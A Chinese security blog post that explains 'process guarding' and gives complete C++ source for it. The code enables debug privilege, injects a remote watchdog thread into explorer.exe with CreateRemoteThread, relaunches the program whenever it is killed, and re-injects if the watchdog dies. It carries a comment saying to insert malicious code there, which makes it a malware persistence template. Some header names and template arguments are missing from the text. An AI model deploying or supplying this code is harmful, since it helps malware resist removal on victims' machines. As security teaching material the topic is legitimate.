安全之路 —— C++实现进程守护


简介


所谓进程守护,就是A进程为了保护自己不被结束,创建了一个守护线程来保护自己,一旦被结束进程,便重新启动。进程守护的方法多被应用于恶意软件,是一个保护自己进程的一个简单方式,在ring3下即可轻松实现。而创建守护线程的方法多采用远程线程注入的方式,笔者之前曾介绍过远程线程注入的基本方式,主要分为[DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532051.html)和[无DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532065.html)。

代码实现


//////////////////////////////////////////////////////////////////
//
// FileName : ProcessProtectorDemo.cpp
// Creator : PeterZheng
// Date : 2018/9/06 17:32
// Comment : Process Protector
//
//////////////////////////////////////////////////////////////////

#pragma once

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

using namespace std;

#define MAX_LENGTH 255
#pragma warning(disable:4996)

//远程线程参数结构体
typedef struct _remoteTdParams
{
	LPVOID ZWinExec;             // WinExec Function Address
	LPVOID ZOpenProcess;         // OpenProcess Function Address
	LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address
	DWORD ZPid;                  // Param => Process id
	HANDLE ZProcessHandle;       // Param => Handle
	CHAR filePath[MAX_LENGTH];   // Param => File Path
}RemoteParam;

//本地线程参数结构体
typedef struct _localTdParams
{
	CHAR remoteProcName[MAX_LENGTH];
	DWORD localPid;
	DWORD remotePid;
	HANDLE hRemoteThread;
}LocalParam;

//字符串分割函数
BOOL SplitString(const string& s, vector& v, const string& c)
{
	string::size_type pos1, pos2;
	pos2 = s.find(c);
	pos1 = 0;
	while (string::npos != pos2)
	{
		v.push_back(s.substr(pos1, pos2 - pos1));

		pos1 = pos2 + c.size();
		pos2 = s.find(c, pos1);
	}
	if (pos1 != s.length())
		v.push_back(s.substr(pos1));
	return TRUE;
}


//远程线程函数体 (守护函数)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
	typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
	typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
	typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
	ZWinExec ZWE;
	ZOpenProcess ZOP;
	ZWaitForSingleObject ZWFSO;
	ZWE = (ZWinExec)lprp->ZWinExec;
	ZOP = (ZOpenProcess)lprp->ZOpenProcess;
	ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
	lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
	ZWFSO(lprp->ZProcessHandle, INFINITE);
	ZWE(lprp->filePath, SW_SHOW);
	return 0;
}

//获取PID
DWORD __cdecl GetProcessID(CHAR *ProcessName)
{
	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(pe32);
	HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;
	BOOL bProcess = Process32First(hProcessSnap, &pe32);
	while (bProcess)
	{
		if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
			return pe32.th32ProcessID;
		bProcess = Process32Next(hProcessSnap, &pe32);
	}
	CloseHandle(hProcessSnap);
	return 0;
}

//获取权限
int __cdecl EnableDebugPriv(const TCHAR *name)
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tp;
	LUID luid;
	if (!OpenProcessToken(GetCurrentProcess(),
		TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
		&hToken)) return 1;
	if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tp.Privileges[0].Luid = luid;
	if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;
	return 0;
}

//线程注入函数
BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{
	if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
	HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);
	if (!hWnd) return FALSE;
	RemoteParam rp;
	ZeroMemory(&rp, sizeof(RemoteParam));
	rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");
	rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
	rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");
	rp.ZPid = dwLocalPid;
	CHAR szPath[MAX_LENGTH] = "\0";
	GetModuleFileName(NULL, szPath, sizeof(szPath));
	StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);
	RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!pRemoteParam) return FALSE;
	if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
	LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!pRemoteThread) return FALSE;
	if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
	hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
	if (!hThread) return FALSE;
	return TRUE;
}

//远程线程监控函数(本地线程函数)
DWORD WINAPI WatchFuncData(LPVOID lprarm)
{
	HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;
	DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;
	DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;
	CHAR szRemoteProcName[MAX_LENGTH] = "\0";
	StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);
	DWORD exitCode = 0;
	while (TRUE)
	{
		if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
		GetExitCodeThread(hRemoteThread, &exitCode);
		if (exitCode^STILL_ACTIVE)
		{
			WinExec(szRemoteProcName, SW_HIDE);
			dwRemotePid = GetProcessID(szRemoteProcName);
			InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
		}
		Sleep(1000);
	}
	return 0;
}

//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
	LocalParam lpLp;
	ZeroMemory(&lpLp, sizeof(LocalParam));
	CHAR szRemoteProcName[MAX_LENGTH] = "\0";
	CHAR szLocalProcName[MAX_LENGTH] = "\0";
	CHAR currentFilePath[MAX_LENGTH] = "\0";
	vector pathGroup;
	GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));
	SplitString(currentFilePath, pathGroup, "\\");
	StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
	StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");
	StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);
	StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);
	DWORD dwRemotePid = GetProcessID(szRemoteProcName);
	DWORD dwLocalPid = GetProcessID(szLocalProcName);
	HANDLE hThread = NULL;
	lpLp.remotePid = dwRemotePid;
	lpLp.localPid = dwLocalPid;
	hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);
	//....插入恶意代码等工作流程
	while (TRUE)
	{
		MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);
	}
	WaitForSingleObject(hThread, INFINITE);
	return 0;
}